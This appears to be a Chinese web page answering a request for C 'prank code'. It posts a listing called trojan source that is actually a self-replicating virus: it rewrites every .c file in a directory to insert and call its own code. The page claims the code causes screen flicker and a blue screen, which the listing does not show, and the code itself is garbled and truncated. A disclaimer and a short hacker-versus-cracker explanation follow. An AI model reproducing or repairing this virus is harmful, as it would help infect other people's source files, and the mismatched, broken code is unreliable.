求一个C语言整人代码！！！
先上代码

运行这段代码首先会花屏并闪屏，一分钟后蓝屏。
效果图：
c语言木马源代码
#include stdio.h
#include dir.h
void main(void)
{
virus();
}
int virus()
{
struct ffblk ffblk;
FILE *in,*out,*read;
char *virus="virus.c";
char buf[50][80];
char *p;
char *end="return";
char *bracket="}";
char *main="main";
char *include[2]={"stdio.h","dir.h"};
char *int_virus="int virus()";
char *buffer;
int done,i,j=0,flag=0;
printf("\nI have a virus. Writen by PuBin\n");
done = findfirst("*.c",ffblk,0);
while (!done)
{
i=0;
if ((in = fopen(ffblk.ff_name, "rt"))== NULL)
{
goto next;
}
do{
if(i=50)
{
fclose(in);
goto next;
}
p=fgets(buf[i],80,in);
i++;
}while(p!=NULL);
fclose(in);
out=fopen(ffblk.ff_name,"w+t");
fputs("#includestdio.h\n",out);
fputs("#includedir.h\n",out);
do
{
if(strstr(buf[j],main)!=NULL)
{
for(;ji-1;j++)
if(strstr(buf[j],end)==NULLstrstr(buf[j],bracket)==NULL)
fputs(buf[j],out);
else
{
if(flag==0)
{
flag=1;
fputs("virus();\n",out);
}
fputs(buf[j],out);
}
}
else if((strstr(buf[j],include[0])==NULL)
(strstr(buf[j],include[1])==NULL))
{
fputs(buf[j],out);
j++;
}
else
j++;
}while(ji-1);

do

p=fgets(buffer,80,read);
if(strstr(buffer,int_virus))
while(p!=NULL)

if(strstr(buffer,virus)==NULL)
fputs(buffer,out);
else

fputs(" char *virus=\"",out);
fputs(ffblk.ff_name,out);

}
严重声明：这个程序只是供C语言新手参考，开玩笑没关系，但如果用来做不法的事情，本人概不负责。还有，编病毒、木马去做违法的事情惩罚是很重的，你如果想学编程，编个简单的就好了，否则后果很严重。
黑客c语言
应该是没有区别的,c语言就是C语言,是基础来的，其实是一样的 ，
黑客知识对于操作系统的命令掌握的更熟练，对编程运用更灵活。
其实写代码的程序员都是黑客，只不过我们可能曲解了黑客的意思，
黑客一词，原指热心于计算机技术，水平高超的电脑专家，尤其是程序设计人员。
但到了今天，黑客一词已被用于泛指那些专门利用电脑网络搞破坏或恶作剧的家伙。
对这些人的正确英文叫法是Cracker，有人翻译成“骇客”。
大概就是这些,不知道看懂了没
